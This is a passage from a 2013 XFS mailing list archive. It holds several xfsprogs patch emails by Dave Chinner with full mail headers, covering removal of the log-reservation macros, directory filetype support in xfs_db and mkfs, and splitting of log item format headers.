@@ -355,15 +355,8 @@ static inline int xfs_sb_good_version(xfs_sb_t *sbp) (sbp->sb_features2 & ~XFS_SB_VERSION2_OKREALBITS))) return 0; -#ifdef __KERNEL__ if (sbp->sb_shared_vn > XFS_SB_MAX_SHARED_VN) return 0; -#else - if ((sbp->sb_versionnum & XFS_SB_VERSION_SHAREDBIT) && - sbp->sb_shared_vn > XFS_SB_MAX_SHARED_VN) - return 0; -#endif - return 1; } if (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8DEC929DFB for ; Wed, 4 Sep 2013 17:21:25 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 10CCBAC003 for ; Wed, 4 Sep 2013 15:21:25 -0700 (PDT) X-ASG-Debug-ID: 1378333282-04cbb02c3ad4b6f0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id ARHel9DOxeACInxC for ; Wed, 04 Sep 2013 15:21:22 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhgJAKexJ1J5LJ62/2dsb2JhbABbgweuUZJsgQ2BKBd0giQBAQUnLzMIGDE5AxsZiAG6No9VhC8DoiSHN4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:20 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007dS-Eh for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003v0-DN for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 45/55] xfs: Get rid of all XFS_XXX_LOG_RES() macro Date: Thu, 5 Sep 2013 08:05:49 +1000 X-ASG-Orig-Subj: [PATCH 45/55] xfs: Get rid of all XFS_XXX_LOG_RES() macro Message-Id: <1378332359-14737-46-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333282 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Get rid of all XFS_XXX_LOG_RES() macros since they are obsoleted now. Signed-off-by: Jie Liu Signed-off-by: Dave Chinner --- include/xfs_trans_resv.h | 36 ------------------------------------ mkfs/maxtrres.c | 5 +++-- 2 files changed, 3 insertions(+), 38 deletions(-) diff --git a/include/xfs_trans_resv.h b/include/xfs_trans_resv.h index 140d3f3..de7de9a 100644 --- a/include/xfs_trans_resv.h +++ b/include/xfs_trans_resv.h @@ -92,42 +92,6 @@ struct xfs_trans_resv { (XFS_DAENTER_BLOCKS(mp, XFS_DATA_FORK) + \ XFS_DAENTER_BMAPS(mp, XFS_DATA_FORK) + 1) - -#define XFS_WRITE_LOG_RES(mp) ((mp)->m_resv.tr_write.tr_logres) -#define XFS_RENAME_LOG_RES(mp) ((mp)->m_resv.tr_rename.tr_logres) -#define XFS_LINK_LOG_RES(mp) ((mp)->m_resv.tr_link.tr_logres) -#define XFS_REMOVE_LOG_RES(mp) ((mp)->m_resv.tr_remove.tr_logres) -#define XFS_SYMLINK_LOG_RES(mp) ((mp)->m_resv.tr_symlink.tr_logres) -#define XFS_CREATE_LOG_RES(mp) ((mp)->m_resv.tr_create.tr_logres) -#define XFS_MKDIR_LOG_RES(mp) ((mp)->m_resv.tr_mkdir.tr_logres) -#define XFS_IFREE_LOG_RES(mp) ((mp)->m_resv.tr_ifree.tr_logres) -#define XFS_SWRITE_LOG_RES(mp) ((mp)->m_resv.tr_swrite.tr_logres) -#define XFS_ICHANGE_LOG_RES(mp) ((mp)->m_resv.tr_ichange.tr_logres) -#define XFS_GROWDATA_LOG_RES(mp) ((mp)->m_resv.tr_growdata.tr_logres) -#define XFS_ITRUNCATE_LOG_RES(mp) ((mp)->m_resv.tr_itruncate.tr_logres) -#define XFS_GROWRTZERO_LOG_RES(mp) ((mp)->m_resv.tr_growrtzero.tr_logres) -#define XFS_GROWRTFREE_LOG_RES(mp) ((mp)->m_resv.tr_growrtfree.tr_logres) -#define XFS_GROWRTALLOC_LOG_RES(mp) ((mp)->m_resv.tr_growrtalloc.tr_logres) - -/* - * Logging the inode timestamps on an fsync -- same as SWRITE - * as long as SWRITE logs the entire inode core - */ -#define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_resv.tr_fsyncts.tr_logres) -#define XFS_WRITEID_LOG_RES(mp) ((mp)->m_resv.tr_writeid.tr_logres) -#define XFS_ADDAFORK_LOG_RES(mp) ((mp)->m_resv.tr_addafork.tr_logres) -#define XFS_ATTRSETM_LOG_RES(mp) ((mp)->m_resv.tr_attrsetm.tr_logres) -#define XFS_ATTRINVAL_LOG_RES(mp) ((mp)->m_resv.tr_attrinval.tr_logres) -#define XFS_ATTRSETRT_LOG_RES(mp) ((mp)->m_resv.tr_attrsetrt.tr_logres) -#define XFS_ATTRRM_LOG_RES(mp) ((mp)->m_resv.tr_attrrm.tr_logres) -#define XFS_SB_LOG_RES(mp) ((mp)->m_resv.tr_sb.tr_logres) -#define XFS_QM_SETQLIM_LOG_RES(mp) ((mp)->m_resv.tr_qm_setqlim.tr_logres) -#define XFS_QM_DQALLOC_LOG_RES(mp) ((mp)->m_resv.tr_qm_dqalloc.tr_logres) -#define XFS_QM_SBCHANGE_LOG_RES(mp) ((mp)->m_resv.tr_qm_sbchange.tr_logres) -#define XFS_QM_QUOTAOFF_LOG_RES(mp) ((mp)->m_resv.tr_qm_quotaoff.tr_logres) -#define XFS_QM_QUOTAOFF_END_LOG_RES(mp) ((mp)->m_resv.tr_qm_equotaoff.tr_logres) -#define XFS_CLEAR_AGI_BUCKET_LOG_RES(mp) ((mp)->m_resv.tr_clearagi.tr_logres) - /* * Various log count values. */ diff --git a/mkfs/maxtrres.c b/mkfs/maxtrres.c index b2d2a5a..59cdcfd 100644 --- a/mkfs/maxtrres.c +++ b/mkfs/maxtrres.c @@ -46,8 +46,9 @@ max_attrsetm_trans_res_adjust( nblks = XFS_DAENTER_SPACE_RES(mp, XFS_ATTR_FORK); nblks += XFS_B_TO_FSB(mp, size); nblks += XFS_NEXTENTADD_SPACE_RES(mp, size, XFS_ATTR_FORK); - res = XFS_ATTRSETM_LOG_RES(mp) + XFS_ATTRSETRT_LOG_RES(mp) * nblks; - mp->m_resv.tr_attrsetm.tr_logres = res; + res = M_RES(mp)->tr_attrsetm.tr_logres + + M_RES(mp)->tr_attrsetrt.tr_logres * nblks; + M_RES(mp)->tr_attrsetm.tr_logres = res; } static int -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2411A7F53 for ; Wed, 4 Sep 2013 17:21:26 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9B65DAC005 for ; Wed, 4 Sep 2013 15:21:25 -0700 (PDT) X-ASG-Debug-ID: 1378333281-04cb6c2e9dd581a0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id nWQvxMOOFKU9BqcV for ; Wed, 04 Sep 2013 15:21:21 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo2lAQDqVuDMio Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:20 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007dm-HW for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003vS-GW for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 49/55] xfsprogs: add dtype support to mkfs and db Date: Thu, 5 Sep 2013 08:05:53 +1000 X-ASG-Orig-Subj: [PATCH 49/55] xfsprogs: add dtype support to mkfs and db Message-Id: <1378332359-14737-50-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333281 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Now that we have an extra field in the dirent, add support into xfs_db to be able to view it when looking at directory structures. Add support to mkfs to create filesystems with filetype - we'll always set it on CRC enabled filesystems so all new v5 filesystems will have this functionality enabled. Signed-off-by: Dave Chinner --- db/dir2.c | 43 +++++++++++++++++++++++++++++++++++++++++-- db/dir2.h | 1 + db/dir2sf.c | 52 +++++++++++++++++++++++++++++++++++++++++++++++++++- db/dir2sf.h | 3 +++ db/field.c | 7 +++++++ db/field.h | 3 +++ db/inode.c | 23 +++++++++++++++++++++-- mkfs/xfs_mkfs.c | 7 +++++++ 8 files changed, 134 insertions(+), 5 deletions(-) diff --git a/db/dir2.c b/db/dir2.c index 39042b3..8b08d48 100644 --- a/db/dir2.c +++ b/db/dir2.c @@ -596,6 +596,25 @@ dir2_data_union_size( } } +static int +dir3_data_union_ftype_offset( + void *obj, + int startoff, + int idx) +{ + xfs_dir2_data_entry_t *dep; + xfs_dir2_data_unused_t *dup; + + ASSERT(bitoffs(startoff) == 0); + ASSERT(idx == 0); + dup = (xfs_dir2_data_unused_t *)((char *)obj + byteize(startoff)); + if (be16_to_cpu(dup->freetag) == XFS_DIR2_DATA_FREE_TAG) + return bitize((int)((char *)xfs_dir2_data_unused_tag_p(dup) - + (char *)dup)); + dep = (xfs_dir2_data_entry_t *)dup; + return bitize((int)((char *)&dep->name[dep->namelen] - (char *)dep)); +} + /* * Free block functions */ @@ -851,7 +870,7 @@ const field_t dir3_hfld[] = { const field_t dir3_flds[] = { { "bhdr", FLDT_DIR3_DATA_HDR, OI(B3OFF(hdr)), dir3_block_hdr_count, FLD_COUNT, TYP_NONE }, - { "bu", FLDT_DIR2_DATA_UNION, dir2_block_u_offset, dir2_block_u_count, + { "bu", FLDT_DIR3_DATA_UNION, dir2_block_u_offset, dir2_block_u_count, FLD_ARRAY|FLD_OFFSET|FLD_COUNT, TYP_NONE }, { "bleaf", FLDT_DIR2_LEAF_ENTRY, dir2_block_leaf_offset, dir2_block_leaf_count, FLD_ARRAY|FLD_OFFSET|FLD_COUNT, TYP_NONE }, @@ -859,7 +878,7 @@ const field_t dir3_flds[] = { dir3_block_tail_count, FLD_OFFSET|FLD_COUNT, TYP_NONE }, { "dhdr", FLDT_DIR3_DATA_HDR, OI(D3OFF(hdr)), dir3_data_hdr_count, FLD_COUNT, TYP_NONE }, - { "du", FLDT_DIR2_DATA_UNION, dir2_data_u_offset, dir2_data_u_count, + { "du", FLDT_DIR3_DATA_UNION, dir2_data_u_offset, dir2_data_u_count, FLD_ARRAY|FLD_OFFSET|FLD_COUNT, TYP_NONE }, { "lhdr", FLDT_DIR3_LEAF_HDR, OI(L3OFF(hdr)), dir3_leaf_hdr_count, FLD_COUNT, TYP_NONE }, @@ -880,6 +899,26 @@ const field_t dir3_flds[] = { { NULL } }; +#define D3EOFF(f) bitize(offsetof(xfs_dir2_data_entry_t, f)) +#define D3UOFF(f) bitize(offsetof(xfs_dir2_data_unused_t, f)) +const field_t dir3_data_union_flds[] = { + { "freetag", FLDT_UINT16X, OI(D3UOFF(freetag)), + dir2_data_union_freetag_count, FLD_COUNT, TYP_NONE }, + { "inumber", FLDT_INO, OI(D3EOFF(inumber)), + dir2_data_union_inumber_count, FLD_COUNT, TYP_INODE }, + { "length", FLDT_DIR2_DATA_OFF, OI(D3UOFF(length)), + dir2_data_union_length_count, FLD_COUNT, TYP_NONE }, + { "namelen", FLDT_UINT8D, OI(D3EOFF(namelen)), + dir2_data_union_namelen_count, FLD_COUNT, TYP_NONE }, + { "name", FLDT_CHARNS, OI(D3EOFF(name)), dir2_data_union_name_count, + FLD_COUNT, TYP_NONE }, + { "filetype", FLDT_UINT8D, dir3_data_union_ftype_offset, C1, + FLD_OFFSET, TYP_NONE }, + { "tag", FLDT_DIR2_DATA_OFF, dir2_data_union_tag_offset, + dir2_data_union_tag_count, FLD_OFFSET|FLD_COUNT, TYP_NONE }, + { NULL } +}; + #define DBH3OFF(f) bitize(offsetof(struct xfs_dir3_blk_hdr, f)) const field_t dir3_blkhdr_flds[] = { { "magic", FLDT_UINT32X, OI(DBH3OFF(magic)), C1, 0, TYP_NONE }, diff --git a/db/dir2.h b/db/dir2.h index d9dc27b..b3651d5 100644 --- a/db/dir2.h +++ b/db/dir2.h @@ -48,6 +48,7 @@ extern const field_t dir3_blkhdr_flds[]; extern const field_t dir3_data_hdr_flds[]; extern const field_t dir3_free_hdr_flds[]; extern const field_t dir3_leaf_hdr_flds[]; +extern const field_t dir3_data_union_flds[]; extern const field_t da3_blkinfo_flds[]; extern const field_t da3_node_hdr_flds[]; diff --git a/db/dir2sf.c b/db/dir2sf.c index d628641..5285647 100644 --- a/db/dir2sf.c +++ b/db/dir2sf.c @@ -127,7 +127,6 @@ dir2_sf_entry_name_count( return e->namelen; } -/*ARGSUSED*/ static int dir2_sf_entry_inumber_offset( void *obj, @@ -142,6 +141,35 @@ dir2_sf_entry_inumber_offset( return bitize((int)((char *)xfs_dir2_sf_inumberp(e) - (char *)e)); } +static int +dir3_sf_entry_inumber_offset( + void *obj, + int startoff, + int idx) +{ + xfs_dir2_sf_entry_t *e; + + ASSERT(bitoffs(startoff) == 0); + ASSERT(idx == 0); + e = (xfs_dir2_sf_entry_t *)((char *)obj + byteize(startoff)); + /* plus 1 to skip the ftype entry */ + return bitize((int)((char *)xfs_dir2_sf_inumberp(e) + 1 - (char *)e)); +} + +static int +dir3_sf_entry_ftype_offset( + void *obj, + int startoff, + int idx) +{ + xfs_dir2_sf_entry_t *e; + + ASSERT(bitoffs(startoff) == 0); + ASSERT(idx == 0); + e = (xfs_dir2_sf_entry_t *)((char *)obj + byteize(startoff)); + return bitize((int)((char *)&e->name[e->namelen] - (char *)e)); +} + int dir2_sf_entry_size( void *obj, @@ -224,3 +252,25 @@ dir2sf_size( e = xfs_dir3_sf_nextentry(mp, sf, e); return bitize((int)((char *)e - (char *)sf)); } + +#define OFF(f) bitize(offsetof(struct xfs_dir2_sf_hdr, f)) +const field_t dir3sf_flds[] = { + { "hdr", FLDT_DIR2_SF_HDR, OI(OFF(count)), C1, 0, TYP_NONE }, + { "list", FLDT_DIR3_SF_ENTRY, dir2_sf_list_offset, dir2_sf_list_count, + FLD_ARRAY|FLD_COUNT|FLD_OFFSET, TYP_NONE }, + { NULL } +}; + +#define E3OFF(f) bitize(offsetof(xfs_dir2_sf_entry_t, f)) +const field_t dir3_sf_entry_flds[] = { + { "namelen", FLDT_UINT8D, OI(EOFF(namelen)), C1, 0, TYP_NONE }, + { "offset", FLDT_DIR2_SF_OFF, OI(EOFF(offset)), C1, 0, TYP_NONE }, + { "name", FLDT_CHARNS, OI(EOFF(name)), dir2_sf_entry_name_count, + FLD_COUNT, TYP_NONE }, + { "inumber", FLDT_DIR2_INOU, dir3_sf_entry_inumber_offset, C1, + FLD_OFFSET, TYP_NONE }, + { "filetype", FLDT_UINT8D, dir3_sf_entry_ftype_offset, C1, + FLD_OFFSET, TYP_NONE }, + { NULL } +}; + diff --git a/db/dir2sf.h b/db/dir2sf.h index 66d229c..cabe5b4 100644 --- a/db/dir2sf.h +++ b/db/dir2sf.h @@ -21,6 +21,9 @@ extern const field_t dir2_inou_flds[]; extern const field_t dir2_sf_hdr_flds[]; extern const field_t dir2_sf_entry_flds[]; +extern const field_t dir3sf_flds[]; +extern const field_t dir3_sf_entry_flds[]; + extern int dir2sf_size(void *obj, int startoff, int idx); extern int dir2_inou_size(void *obj, int startoff, int idx); extern int dir2_sf_entry_size(void *obj, int startoff, int idx); diff --git a/db/field.c b/db/field.c index e4f6c7d..c6d7404 100644 --- a/db/field.c +++ b/db/field.c @@ -235,6 +235,13 @@ const ftattr_t ftattrtab[] = { SI(bitsz(struct xfs_dir3_free_hdr)), 0, NULL, dir3_free_hdr_flds }, { FLDT_DIR3_LEAF_HDR, "dir3_leaf_hdr", NULL, (char *)dir3_leaf_hdr_flds, SI(bitsz(struct xfs_dir3_leaf_hdr)), 0, NULL, dir3_leaf_hdr_flds }, + { FLDT_DIR3_DATA_UNION, "dir3_data_union", NULL, + (char *)dir3_data_union_flds, dir2_data_union_size, FTARG_SIZE, NULL, + dir3_data_union_flds }, + { FLDT_DIR3_SF_ENTRY, "dir3_sf_entry", NULL, (char *)dir3_sf_entry_flds, + dir2_sf_entry_size, FTARG_SIZE, NULL, dir3_sf_entry_flds }, + { FLDT_DIR3SF, "dir3sf", NULL, (char *)dir3sf_flds, dir2sf_size, + FTARG_SIZE, NULL, dir3sf_flds }, /* dir v2/3 node fields */ { FLDT_DA_BLKINFO, "dir_blkinfo", NULL, (char *)da_blkinfo_flds, diff --git a/db/field.h b/db/field.h index b97d917..aecdf9f 100644 --- a/db/field.h +++ b/db/field.h @@ -116,6 +116,9 @@ typedef enum fldt { FLDT_DIR3_DATA_HDR, FLDT_DIR3_FREE_HDR, FLDT_DIR3_LEAF_HDR, + FLDT_DIR3_DATA_UNION, + FLDT_DIR3_SF_ENTRY, + FLDT_DIR3SF, /* dir v2/3 node fields */ FLDT_DA_BLKINFO, diff --git a/db/inode.c b/db/inode.c index eafbbd5..634dc30 100644 --- a/db/inode.c +++ b/db/inode.c @@ -47,6 +47,7 @@ static int inode_u_c_count(void *obj, int startoff); static int inode_u_dev_count(void *obj, int startoff); static int inode_u_muuid_count(void *obj, int startoff); static int inode_u_sfdir2_count(void *obj, int startoff); +static int inode_u_sfdir3_count(void *obj, int startoff); static int inode_u_symlink_count(void *obj, int startoff); static const cmdinfo_t inode_cmd = @@ -78,7 +79,7 @@ const field_t inode_crc_flds[] = { { "next_unlinked", FLDT_AGINO, OI(OFF(next_unlinked)), C1, 0, TYP_INODE }, { "v3", FLDT_DINODE_V3, OI(OFF(magic)), C1, 0, TYP_NONE }, - { "u", FLDT_DINODE_U, inode_u_offset, C1, FLD_OFFSET, TYP_NONE }, + { "u3", FLDT_DINODE_U, inode_u_offset, C1, FLD_OFFSET, TYP_NONE }, { "a", FLDT_DINODE_A, inode_a_offset, inode_a_count, FLD_COUNT|FLD_OFFSET, TYP_NONE }, { NULL } @@ -193,6 +194,7 @@ const field_t inode_u_flds[] = { { "dev", FLDT_DEV, NULL, inode_u_dev_count, FLD_COUNT, TYP_NONE }, { "muuid", FLDT_UUID, NULL, inode_u_muuid_count, FLD_COUNT, TYP_NONE }, { "sfdir2", FLDT_DIR2SF, NULL, inode_u_sfdir2_count, FLD_COUNT, TYP_NONE }, + { "sfdir3", FLDT_DIR3SF, NULL, inode_u_sfdir3_count, FLD_COUNT, TYP_NONE }, { "symlink", FLDT_CHARNS, NULL, inode_u_symlink_count, FLD_COUNT, TYP_NONE }, { NULL } @@ -557,7 +559,24 @@ inode_u_sfdir2_count( ASSERT((char *)XFS_DFORK_DPTR(dip) - (char *)dip == byteize(startoff)); return dip->di_format == XFS_DINODE_FMT_LOCAL && (be16_to_cpu(dip->di_mode) & S_IFMT) == S_IFDIR && - xfs_sb_version_hasdirv2(&mp->m_sb); + xfs_sb_version_hasdirv2(&mp->m_sb) && + !xfs_sb_version_hasftype(&mp->m_sb); +} + +static int +inode_u_sfdir3_count( + void *obj, + int startoff) +{ + xfs_dinode_t *dip; + + ASSERT(bitoffs(startoff) == 0); + ASSERT(obj == iocur_top->data); + dip = obj; + ASSERT((char *)XFS_DFORK_DPTR(dip) - (char *)dip == byteize(startoff)); + return dip->di_format == XFS_DINODE_FMT_LOCAL && + (be16_to_cpu(dip->di_mode) & S_IFMT) == S_IFDIR && + xfs_sb_version_hasftype(&mp->m_sb); } int diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c index 896351b..eafbed3 100644 --- a/mkfs/xfs_mkfs.c +++ b/mkfs/xfs_mkfs.c @@ -2521,6 +2521,13 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), lsectorsize != BBSIZE), nci, sbp->sb_features2 != 0); /* + * dirent filetype field always enabled on v5 superblocks + */ + if (crcs_enabled) { + sbp->sb_features_incompat = XFS_SB_FEAT_INCOMPAT_FTYPE; + } + + /* * Due to a structure alignment issue, sb_features2 ended up in one * of two locations, the second "incorrect" location represented by * the sb_bad_features2 field. To avoid older kernels mounting -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AC6E729DFC for ; Wed, 4 Sep 2013 17:21:26 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9D5618F8033 for ; Wed, 4 Sep 2013 15:21:26 -0700 (PDT) X-ASG-Debug-ID: 1378333282-04cbb02c3ad4b6f0002-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id I2BUvg6n9CiXnBaG for ; Wed, 04 Sep 2013 15:21:24 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo2lAQDqVuDMio Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:21 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007dR-S8 for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003se-RG for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 19/55] xfs: split out inode log item format definition Date: Thu, 5 Sep 2013 08:05:23 +1000 X-ASG-Orig-Subj: [PATCH 19/55] xfs: split out inode log item format definition Message-Id: <1378332359-14737-20-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333284 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The EFI/EFD item format definitions are shared with userspace. Split the out of header files that contain kernel only defintions to make it simple to shared them. Signed-off-by: Dave Chinner --- include/Makefile | 3 +- include/libxlog.h | 1 - include/xfs_extfree_item.h | 161 --------------------------------------------- include/xfs_log_format.h | 83 +++++++++++++++++++++++ 4 files changed, 85 insertions(+), 163 deletions(-) delete mode 100644 include/xfs_extfree_item.h diff --git a/include/Makefile b/include/Makefile index f5c50b7..ad2ac46 100644 --- a/include/Makefile +++ b/include/Makefile @@ -27,7 +27,8 @@ QAHFILES = libxfs.h libxlog.h \ xfs_cksum.h \ xfs_da_btree.h \ xfs_dinode.h xfs_dir2.h xfs_dir2_format.h \ - xfs_extfree_item.h xfs_ialloc.h xfs_ialloc_btree.h \ + xfs_ialloc.h \ + xfs_ialloc_btree.h \ xfs_icreate_item.h \ xfs_inode.h \ xfs_inum.h \ diff --git a/include/libxlog.h b/include/libxlog.h index 08f5dbb..ee23212 100644 --- a/include/libxlog.h +++ b/include/libxlog.h @@ -48,7 +48,6 @@ struct xlog { }; #include -#include #include /* diff --git a/include/xfs_extfree_item.h b/include/xfs_extfree_item.h deleted file mode 100644 index 375f68e..0000000 --- a/include/xfs_extfree_item.h +++ /dev/null @@ -1,161 +0,0 @@ -/* - * Copyright (c) 2000,2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_EXTFREE_ITEM_H__ -#define __XFS_EXTFREE_ITEM_H__ - -struct xfs_mount; -struct kmem_zone; - -typedef struct xfs_extent { - xfs_dfsbno_t ext_start; - xfs_extlen_t ext_len; -} xfs_extent_t; - -/* - * Since an xfs_extent_t has types (start:64, len: 32) - * there are different alignments on 32 bit and 64 bit kernels. - * So we provide the different variants for use by a - * conversion routine. - */ - -typedef struct xfs_extent_32 { - __uint64_t ext_start; - __uint32_t ext_len; -} __attribute__((packed)) xfs_extent_32_t; - -typedef struct xfs_extent_64 { - __uint64_t ext_start; - __uint32_t ext_len; - __uint32_t ext_pad; -} xfs_extent_64_t; - -/* - * This is the structure used to lay out an efi log item in the - * log. The efi_extents field is a variable size array whose - * size is given by efi_nextents. - */ -typedef struct xfs_efi_log_format { - __uint16_t efi_type; /* efi log item type */ - __uint16_t efi_size; /* size of this item */ - __uint32_t efi_nextents; /* # extents to free */ - __uint64_t efi_id; /* efi identifier */ - xfs_extent_t efi_extents[1]; /* array of extents to free */ -} xfs_efi_log_format_t; - -typedef struct xfs_efi_log_format_32 { - __uint16_t efi_type; /* efi log item type */ - __uint16_t efi_size; /* size of this item */ - __uint32_t efi_nextents; /* # extents to free */ - __uint64_t efi_id; /* efi identifier */ - xfs_extent_32_t efi_extents[1]; /* array of extents to free */ -} __attribute__((packed)) xfs_efi_log_format_32_t; - -typedef struct xfs_efi_log_format_64 { - __uint16_t efi_type; /* efi log item type */ - __uint16_t efi_size; /* size of this item */ - __uint32_t efi_nextents; /* # extents to free */ - __uint64_t efi_id; /* efi identifier */ - xfs_extent_64_t efi_extents[1]; /* array of extents to free */ -} 